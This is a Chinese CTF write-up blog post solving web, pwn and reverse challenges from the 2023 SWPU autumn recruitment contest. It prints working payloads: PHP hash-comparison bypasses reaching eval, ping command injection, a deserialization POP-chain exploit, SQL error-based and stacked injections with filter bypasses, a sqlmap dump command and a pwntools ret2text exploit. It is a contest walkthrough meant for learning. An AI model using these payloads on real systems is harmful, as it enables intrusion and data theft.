目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. colorful_snake
    2. 2.2. 一键连接!
    3. 2.3. Pingpingping
    4. 2.4. UnS3rialize
    5. 2.5. ez_talk
    6. 2.6. 查查need
    7. 2.7. NSS_HTTP_CHEKER
    8. 2.8. RCE-PLUS
    9. 2.9. If_else
    10. 2.10. backup
    11. 2.11. NSS大卖场(复现)
  3. 3. Pwn
    1. 3.1. guess me
    2. 3.2. 签到
  4. 4. Reverse
    1. 4.1. base64
    2. 4.2. test your cmd

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2023SWPU秋季招新赛

2023/10/14 CTF线上赛
  |     |   总文章阅读量:

前言

西南石油大学的招新赛(?

Web

colorful_snake

js前端

这题抢了个一血,我是超级签到手(x

js里面找到flag

image-20231014110328336

复制到控制台unicode解码

image-20231014110352770


一键连接!

php特性

<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
    if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
        if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
            echo "Congratulations~~~~~~~~~";
            echo "试试need Antsword<br/>";
            @eval($_POST['Nss']);
        }else{
            echo "可曾听过data协议?";
        }
    } else {
        echo "sha1又如何相等呢";
    }
} else {
    echo "如何让md5值相等呢¿";
} 

md5和sha1的比较都用数组绕过即可,data伪协议可以作为文件内容来读取

payload:

?md5_1[]=1&md5_2[]=2&sha1_1[]=1&sha1_2[]=2&new_player=data://text/plain,Welcome to NSSCTF!!!

懒得开蚁剑了,直接在post传参处命令执行吧

image-20231014122001659


Pingpingping

非法传参+ping命令注入

三血结束战斗

<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){
    system("ping -c 3 ".$_ping);
}else{
    $data = base64_encode(file_get_contents("error.png"));
    echo "<img src='data:image/png;base64,$data'/>";
} 

直接127.0.0.1后面接分号进行命令执行即可

注意要非法传参

image-20231014101708210


UnS3rialize

反序列化fast_destruct绕过__wakeup

<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
} 

链子:F::__destruct -> T::____toString -> C::__get -> NSS::__invoke

__construct是类的构造方法,调用相关类时要带上参数值

php版本7.4.33,用fast_destruct绕过__wakeup

exp:

<?php
class NSS
{
    public $cmd;
}

class C
{
    public $whoami;
}

class T
{
    public $sth;
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
} 

$a=new F('SWPU','NSS');
$a->notes=new T();
$a->notes->sth=new C();
$a->notes->sth->whoami=new NSS();
$a->notes->sth->whoami->cmd="cat /flag";

echo((serialize($a)));

得到的payload删掉最后一个},然后base64编码一下传进去

image-20231014102815087


ez_talk

文件上传

掏出带着png标头的马一把梭,三血拿下

image-20231014103021184


查查need

sqlmap

找个万能密码的字典然后burpsuite爆破一下,可以发现注入点在学号上(可以跳过下面的报错注入部分直接看sqlmap)

image-20231014155039852

报错注入查所有数据库

name=薛梓漫&student_id=1"and updatexml(1,concat('^',substr((select group_concat(schema_name) from information_schema.schemata),31,50),'^'),1)#&password=1

查数据库

name=薛梓漫&student_id=1"and updatexml(1,concat('^',(database()),'^'),1)#&password=1

image-20231014124944175

查表,不只一列的话需要group_concat(table_name)

name=薛梓漫&student_id=1"and updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema='school'),'^'),1)#&password=1

查列

name=薛梓漫&student_id=1"and updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='students'),'^'),1)#&password=1

查字段

name=薛梓漫&student_id=1"and updatexml(1,concat('^',(select group_concat(student_id) from students),'^'),1)#&password=1

用substr翻了半天没找到,上sqlmap

python3 sqlmap.py -u "http://node6.anna.nssctf.cn:28403/grades" --data="student_id=1" -D school -T students --dump

image-20231014154755388

好好好真在学生的成绩里面啊,付赖格可还行,翻了一个小时痛失二三血(x


NSS_HTTP_CHEKER

要求如图

image-20231014120236802

传完get和post后还要求cookie为一个名为 this_is_cookie ,值为 cookie_suki_desu~ 的参数

修改UA头和伪造xff头

image-20231014120724404


RCE-PLUS

无回显RCE

<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

直接写文件带出回显

payload:

?cmd=ls / | tee 1

访问/1带出回显结果

image-20231018233258857

然后读flag,这里用nl和通配符读取即可绕过过滤

?cmd=nl /f* | tee 2

If_else

命令注入

某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果
提交方式$_POST["check"]
记得访问一下check.php哦~
check.php的内容
<?php
    $a=false;
    $b=false;
    if(你提交的部分将会被写至这里)
    {$a=true;}
    else
    {$b=true;}
    if($a===true&&$b===true)
    eval(system(cat /flag));
?> 

测试发现过滤了$,首先可以确定的是if($a===true&&$b===true)是不可能满足的,那么就要从命令注入的角度来思考,闭合if语句并执行命令,然后把后面的内容全部注释掉

payload:

check=1==1){eval(system('cat /flag')); }/*

image-20231018235348986


backup

源码泄露+反序列化+变量覆盖

备份文件泄露www.zip得到源码

p0pmart.php

<?php
error_reporting(0);
require_once("flag.php");

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

    public function __construct(){
        $this->yuki='tell me where';
        $this->molly='dont_tell_you';
        $this->dimoo="you_can_guess";
    }

    public function __wakeup(){
        global $flag;
        global $where_you_go;
        $this->yuki=$where_you_go;

        if($this->molly === $this->yuki){
            echo $flag;
        }
    }
}

$pucky = $_GET['wq'];
if(isset($pucky)){
    if($pucky==="二仙桥"){
        extract($_POST);
        if($pucky==="二仙桥"){    
            die("<script>window.alert('说说看,你要去哪??');</script>");
        }
        unserialize($pucky);
    }
}

审计代码,首先get传入的wq值要为二仙桥,然后extract($_POST);解析post请求的参数到变量表中,我们可以直接post传入pucky参数来覆盖$pucky的值,然后是反序列化部分,因为$where_you_go是全局属性,所以要满足$this->molly === $this->yuki的话只需要让$this->molly=$where_you_go;即可

exp:

<?php
class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

    public function __construct(){
        $this->yuki='tell me where';
        $this->molly=$where_you_go;
        $this->dimoo="you_can_guess";
    }
}

$a=new popmart();
echo serialize($a);

image-20231019010157746


NSS大卖场(复现)

堆叠注入update修改数据

查看hint,ctrl+u

image-20231019012907611

得到一个数据库备份文件

SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
-- Table structure for items
-- ----------------------------
DROP TABLE IF EXISTS `items`;
CREATE TABLE `items`  (
  `id` int(11) NOT NULL,
  `name` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  `price` int(11) NOT NULL,
  `have` int(11) NOT NULL,
  `info` longtext CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`) USING BTREE
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;

-- ----------------------------
-- Records of items
-- ----------------------------
INSERT INTO `items` VALUES (1, 'X尼小熊', 999, 0, '...');
INSERT INTO `items` VALUES (2, 'ICBM火', 999, 0, '...');
INSERT INTO `items` VALUES (3, 'Haruki拖鞋', 999, 0, '...');
INSERT INTO `items` VALUES (4, 'WD鸽毛', 999, 0, '...');
INSERT INTO `items` VALUES (5, '谢队出狱图', 999, 0, '...');
INSERT INTO `items` VALUES (6, 'SC学姐', 999, 0, '...');
INSERT INTO `items` VALUES (7, '探姬女装', 999, 0, '...');
INSERT INTO `items` VALUES (8, 'FLAG', 999999999, 0, 'flag is here');

-- ----------------------------
-- Table structure for users
-- ----------------------------
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users`  (
  `user_name` varchar(11) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  `balance` int(10) NOT NULL,
  PRIMARY KEY (`user_name`) USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 2 CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;

-- ----------------------------
-- Records of users
-- ----------------------------
INSERT INTO `users` VALUES ('nss', 10000);

SET FOREIGN_KEY_CHECKS = 1;

猜测是堆叠注入

在首页ctrl+u,发现一段js代码

function purchaseItem(itemId) {
                window.location.href = '/buy/' + itemId + '#item-' + itemId;
            }

那么在/buy/进行注入

image-20231019013212501

得到过滤的名单

SELECT|select|UPDATE|update|WHERE|where| |or|AND|and|ORDER|order|BY|by|--|<|>|!

过滤了主要函数的大写和小写还有空格,考虑到给了数据库备份文件,应该是修改items的对应数据

要绕过这个过滤也很简单,只需要函数有大写有小写就可以了

payload:

/buy/1';UPdATE%09items%09SeT%09price=1;#

然后买个flag在背包里查看即可


Pwn

guess me

猜数字小游戏

image-20231014114331822


签到

ret2text

经典64位ret2text,rbp偏移0x30

backdoor中的/bin/sh后门在地址0x40123A

exp:

from pwn import *

p = remote("node4.anna.nssctf.cn", "28681")

offset = 0x30+0x8
get_flag_addr = 0x40123A
payload = offset * b'a' + p64(get_flag_addr)
p.recv()
p.sendline(payload)
p.interactive()

然后命令执行即可


Reverse

base64

f5反编译发现一串base64,解码即可


test your cmd

终端运行即可